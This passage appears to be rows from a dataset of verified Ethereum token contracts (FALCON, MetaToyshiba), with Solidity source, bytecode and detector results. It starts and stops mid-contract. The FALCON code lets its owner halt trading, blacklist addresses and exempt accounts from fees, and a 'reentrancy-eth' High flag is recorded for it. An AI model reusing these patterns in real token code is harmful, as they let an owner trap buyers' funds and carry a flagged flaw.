6815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f745bfbafc3e7d8351e2fcbe07ac66fe3a687c835f980505cd0315d307f3a7ed64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 9,659 |
0x9163095881e9231a55c481e21e2dbdcbb7b6461b | /**
Welcome to Falcon ERC
The next hottest bird token on ERC-20
Max Wallet - 2%
10% Buy/Sell Tax
Ownership will be renounced
Liquidity will be locked for 30 days.
Telegram: https://t.me/FalconERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FALCON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FALCON";
string private constant _symbol = "FALCON";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xFAB251a267D15Dbff5be033004E715C4D13f1d1A);
address payable private _marketingAddress = payable(0xFAB251a267D15Dbff5be033004E715C4D13f1d1A);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101ba5760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f046146104cb578063dd62ed3e146104eb578063ea1644d514610531578063f2fde38b1461055157600080fd5b8063a9059cbb14610466578063bfd7928414610486578063c3c8cd80146104b657600080fd5b80638f70ccf7116100c65780638f70ccf7146104105780638f9a55c01461043057806395d89b41146101e857806398a5c3151461044657600080fd5b80637d1db4a5146103af5780637f2feddc146103c55780638da5cb5b146103f257600080fd5b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f8146103455780636fc3eaec1461036557806370a082311461037a578063715018a61461039a57600080fd5b8063313ce567146102e957806349bd5a5e146103055780636b9990531461032557600080fd5b80631694505e116101955780631694505e1461025657806318160ddd1461028e57806323b872dd146102b35780632fd689e3146102d357600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022657600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e1366004611868565b610571565b005b3480156101f457600080fd5b5060408051808201825260068152652320a621a7a760d11b6020820152905161021d919061192d565b60405180910390f35b34801561023257600080fd5b50610246610241366004611982565b610610565b604051901515815260200161021d565b34801561026257600080fd5b50601454610276906001600160a01b031681565b6040516001600160a01b03909116815260200161021d565b34801561029a57600080fd5b50670de0b6b3a76400005b60405190815260200161021d565b3480156102bf57600080fd5b506102466102ce3660046119ae565b610627565b3480156102df57600080fd5b506102a560185481565b3480156102f557600080fd5b506040516009815260200161021d565b34801561031157600080fd5b50601554610276906001600160a01b031681565b34801561033157600080fd5b506101e66103403660046119ef565b610690565b34801561035157600080fd5b506101e6610360366004611a1c565b6106db565b34801561037157600080fd5b506101e6610723565b34801561038657600080fd5b506102a56103953660046119ef565b61076e565b3480156103a657600080fd5b506101e6610790565b3480156103bb57600080fd5b506102a560165481565b3480156103d157600080fd5b506102a56103e03660046119ef565b60116020526000908152604090205481565b3480156103fe57600080fd5b506000546001600160a01b0316610276565b34801561041c57600080fd5b506101e661042b366004611a1c565b610804565b34801561043c57600080fd5b506102a560175481565b34801561045257600080fd5b506101e6610461366004611a37565b61084c565b34801561047257600080fd5b50610246610481366004611982565b61087b565b34801561049257600080fd5b506102466104a13660046119ef565b60106020526000908152604090205460ff1681565b3480156104c257600080fd5b506101e6610888565b3480156104d757600080fd5b506101e66104e6366004611a50565b6108dc565b3480156104f757600080fd5b506102a5610506366004611ad4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053d57600080fd5b506101e661054c366004611a37565b61097d565b34801561055d57600080fd5b506101e661056c3660046119ef565b6109ac565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161059b90611b0d565b60405180910390fd5b60005b815181101561060c576001601060008484815181106105c8576105c8611b42565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060481611b6e565b9150506105a7565b5050565b600061061d338484610a96565b5060015b92915050565b6000610634848484610bba565b610686843361068185604051806060016040528060288152602001611c88602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110f6565b610a96565b5060019392505050565b6000546001600160a01b031633146106ba5760405162461bcd60e51b815260040161059b90611b0d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107055760405162461bcd60e51b815260040161059b90611b0d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061075857506013546001600160a01b0316336001600160a01b0316145b61076157600080fd5b4761076b81611130565b50565b6001600160a01b0381166000908152600260205260408120546106219061116a565b6000546001600160a01b031633146107ba5760405162461bcd60e51b815260040161059b90611b0d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461082e5760405162461bcd60e51b815260040161059b90611b0d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108765760405162461bcd60e51b815260040161059b90611b0d565b601855565b600061061d338484610bba565b6012546001600160a01b0316336001600160a01b031614806108bd57506013546001600160a01b0316336001600160a01b0316145b6108c657600080fd5b60006108d13061076e565b905061076b816111ee565b6000546001600160a01b031633146109065760405162461bcd60e51b815260040161059b90611b0d565b60005b8281101561097757816005600086868581811061092857610928611b42565b905060200201602081019061093d91906119ef565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061096f81611b6e565b915050610909565b50505050565b6000546001600160a01b031633146109a75760405162461bcd60e51b815260040161059b90611b0d565b601755565b6000546001600160a01b031633146109d65760405162461bcd60e51b815260040161059b90611b0d565b6001600160a01b038116610a3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161059b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610af85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059b565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059b565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059b565b60008111610ce25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059b565b6000546001600160a01b03848116911614801590610d0e57506000546001600160a01b03838116911614155b15610fef57601554600160a01b900460ff16610da7576000546001600160a01b03848116911614610da75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161059b565b601654811115610df95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161059b565b6001600160a01b03831660009081526010602052604090205460ff16158015610e3b57506001600160a01b03821660009081526010602052604090205460ff16155b610e935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161059b565b6015546001600160a01b03838116911614610f185760175481610eb58461076e565b610ebf9190611b89565b10610f185760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161059b565b6000610f233061076e565b601854601654919250821015908210610f3c5760165491505b808015610f535750601554600160a81b900460ff16155b8015610f6d57506015546001600160a01b03868116911614155b8015610f825750601554600160b01b900460ff165b8015610fa757506001600160a01b03851660009081526005602052604090205460ff16155b8015610fcc57506001600160a01b03841660009081526005602052604090205460ff16155b15610fec57610fda826111ee565b478015610fea57610fea47611130565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061103157506001600160a01b03831660009081526005602052604090205460ff165b8061106357506015546001600160a01b0385811691161480159061106357506015546001600160a01b03848116911614155b15611070575060006110ea565b6015546001600160a01b03858116911614801561109b57506014546001600160a01b03848116911614155b156110ad57600854600c55600954600d555b6015546001600160a01b0384811691161480156110d857506014546001600160a01b03858116911614155b156110ea57600a54600c55600b54600d555b61097784848484611377565b6000818484111561111a5760405162461bcd60e51b815260040161059b919061192d565b5060006111278486611ba1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561060c573d6000803e3d6000fd5b60006006548211156111d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161059b565b60006111db6113a5565b90506111e783826113c8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061123657611236611b42565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c29190611bb8565b816001815181106112d5576112d5611b42565b6001600160a01b0392831660209182029290920101526014546112fb9130911684610a96565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611334908590600090869030904290600401611bd5565b600060405180830381600087803b15801561134e57600080fd5b505af1158015611362573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113845761138461140a565b61138f848484611438565b8061097757610977600e54600c55600f54600d55565b60008060006113b261152f565b90925090506113c182826113c8565b9250505090565b60006111e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061156f565b600c5415801561141a5750600d54155b1561142157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061144a8761159d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061147c90876115fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114ab908661163c565b6001600160a01b0389166000908152600260205260409020556114cd8161169b565b6114d784836116e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161151c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061154a82826113c8565b82101561156657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836115905760405162461bcd60e51b815260040161059b919061192d565b5060006111278486611c46565b60008060008060008060008060006115ba8a600c54600d54611709565b92509250925060006115ca6113a5565b905060008060006115dd8e87878761175e565b919e509c509a509598509396509194505050505091939550919395565b60006111e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f6565b6000806116498385611b89565b9050838110156111e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161059b565b60006116a56113a5565b905060006116b383836117ae565b306000908152600260205260409020549091506116d0908261163c565b30600090815260026020526040902055505050565b6006546116f290836115fa565b600655600754611702908261163c565b6007555050565b6000808080611723606461171d89896117ae565b906113c8565b90506000611736606461171d8a896117ae565b9050600061174e826117488b866115fa565b906115fa565b9992985090965090945050505050565b600080808061176d88866117ae565b9050600061177b88876117ae565b9050600061178988886117ae565b9050600061179b8261174886866115fa565b939b939a50919850919650505050505050565b6000826117bd57506000610621565b60006117c98385611c68565b9050826117d68583611c46565b146111e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161059b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461076b57600080fd5b803561186381611843565b919050565b6000602080838503121561187b57600080fd5b823567ffffffffffffffff8082111561189357600080fd5b818501915085601f8301126118a757600080fd5b8135818111156118b9576118b961182d565b8060051b604051601f19603f830116810181811085821117156118de576118de61182d565b6040529182528482019250838101850191888311156118fc57600080fd5b938501935b828510156119215761191285611858565b84529385019392850192611901565b98975050505050505050565b600060208083528351808285015260005b8181101561195a5785810183015185820160400152820161193e565b8181111561196c576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561199557600080fd5b82356119a081611843565b946020939093013593505050565b6000806000606084860312156119c357600080fd5b83356119ce81611843565b925060208401356119de81611843565b929592945050506040919091013590565b600060208284031215611a0157600080fd5b81356111e781611843565b8035801515811461186357600080fd5b600060208284031215611a2e57600080fd5b6111e782611a0c565b600060208284031215611a4957600080fd5b5035919050565b600080600060408486031215611a6557600080fd5b833567ffffffffffffffff80821115611a7d57600080fd5b818601915086601f830112611a9157600080fd5b813581811115611aa057600080fd5b8760208260051b8501011115611ab557600080fd5b602092830195509350611acb9186019050611a0c565b90509250925092565b60008060408385031215611ae757600080fd5b8235611af281611843565b91506020830135611b0281611843565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b8257611b82611b58565b5060010190565b60008219821115611b9c57611b9c611b58565b500190565b600082821015611bb357611bb3611b58565b500390565b600060208284031215611bca57600080fd5b81516111e781611843565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c255784516001600160a01b031683529383019391830191600101611c00565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c6357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c8257611c82611b58565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e89dad2b985344b6de2ab58069004393f5551fca7ff0a31380fa6a2d6e65286864736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,660 |
0x5d69dbde2a922a73af4619f0bcc7497808dc4d4e | /**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
// Telegram: https://t.me/Meta_Toyshiba
// Twitter: https://twitter.com/MetaToyshiba
// Website: https://metatoyshiba.com
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MetaToyshiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MetaToyshiba";
string private constant _symbol = "MTSHIBA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
